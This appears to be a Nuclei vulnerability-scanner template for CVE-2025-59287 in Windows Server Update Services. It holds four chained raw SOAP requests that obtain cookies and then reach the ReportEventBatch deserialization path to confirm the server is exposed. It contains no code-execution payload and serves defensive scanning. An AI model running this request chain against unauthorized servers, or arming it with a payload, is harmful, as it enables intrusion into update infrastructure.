CVE-2025-59287: Windows Server Update Service - Insecure Deserialization

id: CVE-2025-59287

info:
  name: Windows Server Update Service - Insecure Deserialization
  author: pussycat0x,princechaddha
  severity: critical
  description: |
    Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287
    - https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
    - https://hawktrace.com/blog/CVE-2025-59287
    - https://research.eye.security/wsus-deserialization-exploit-in-the-wild-cve-2025-59287
    - https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-59287
    cwe-id: CWE-502
    epss-score: 0.56158
    epss-percentile: 0.97985
    cpe: cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: microsoft
    product: windows_server_update_service
    shodan-query: cpe:"cpe:2.3:o:microsoft:windows_server_2012"
  tags: cve,cve2025,windows,server,wsus,kev,vkev,deserialization,rce

variables:
  domain: "{{rand_text_alphanumeric(5)}}.local"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"
        Content-Type: text/xml
        Content-Length: 331

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
                <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
            </GetRollupConfiguration>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "RollupResetGuid")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: ServerId
        group: 1
        regex:
          - '<ServerId>(.*)</ServerId>'
        internal: true

  - raw:
      - |
        POST /SimpleAuthWebService/SimpleAuth.asmx HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"
        Content-Type: text/xml
        Content-Length: 413

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
              <clientId>{{ServerId}}</clientId>
              <targetGroupName></targetGroupName>
              <dnsName>{{domain}}</dnsName>
            </GetAuthorizationCookie>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "CookieData")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: cookie
        group: 1
        regex:
          - '<CookieData>(.*)</CookieData>'
        internal: true

  - raw:
      - |
        POST /ClientWebService/Client.asmx HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
        Content-Type: text/xml
        Content-Length: 413

        <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
          <authCookies>
            <AuthorizationCookie>
              <PlugInId>SimpleTargeting</PlugInId>
              <CookieData>{{cookie}}</CookieData>
            </AuthorizationCookie>
            </authCookies>
            <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
          <lastChange>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</lastChange>
            <currentTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</currentTime>
            <protocolVersion>1.20</protocolVersion>
        </GetCookie>
        </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "GetCookieResult")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: EncryptedData
        regex:
          - <EncryptedData>(.*)</EncryptedData>
        internal: true

  - raw:
      - |
        POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: text/xml
        Connection: keep-alive
        Content-Type: text/xml
        SOAPAction: "http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"
        Content-Length: 4464

        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
        <soap:Body>
        <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
        <cookie>
        <Expiration>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</Expiration>
        <EncryptedData>{{EncryptedData}}</EncryptedData>
        </cookie>
        <clientTime>{{date_time("%Y-%M-%DT%H:%m:%sZ")}}</clientTime>
        <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
        <ReportingEvent>
        <BasicData>
        <TargetID>
        <Sid>549743e5-8546-4f9d-b946-7948711f7b69</Sid>
        </TargetID>
        <SequenceNumber>0</SequenceNumber>
        <TimeAtTarget>2025-10-29T08:41:54.069</TimeAtTarget>
        <EventInstanceID>a0ce0892-6046-4f21-856e-69ffa43876b9</EventInstanceID>
        <NamespaceID>2</NamespaceID>
        <EventID>389</EventID>
        <SourceID>301</SourceID>
        <UpdateID>
        <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
        <RevisionNumber>0</RevisionNumber>
        </UpdateID>
        <Win32HResult>0</Win32HResult>
        <AppName>LocalServer</AppName>
        </BasicData>
        <ExtendedData>
        <MiscData soapenc:arrayType="xsd:string[2]">
        <string>Administrator=SYSTEM</string>
        <string>{{randstr}}</string>
        </MiscData>
        </ExtendedData>
        <PrivateData>
        <ComputerDnsName></ComputerDnsName>
        <UserAccountName></UserAccountName>
        </PrivateData>
        </ReportingEvent>
        </eventBatch>
        </ReportEventBatch>
        </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "ReportEventBatchResult>true</ReportEventBatchResult>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402205616820a76b027ffa19930c9f97426d3a6998aa295bb20f67696f29a86fcb9b502202254927af44c2f79616e8bd56128c993d2fd4e06c3611aeeb58e45c9f937e6d2:922c64590222798bb761d5b6d8e72950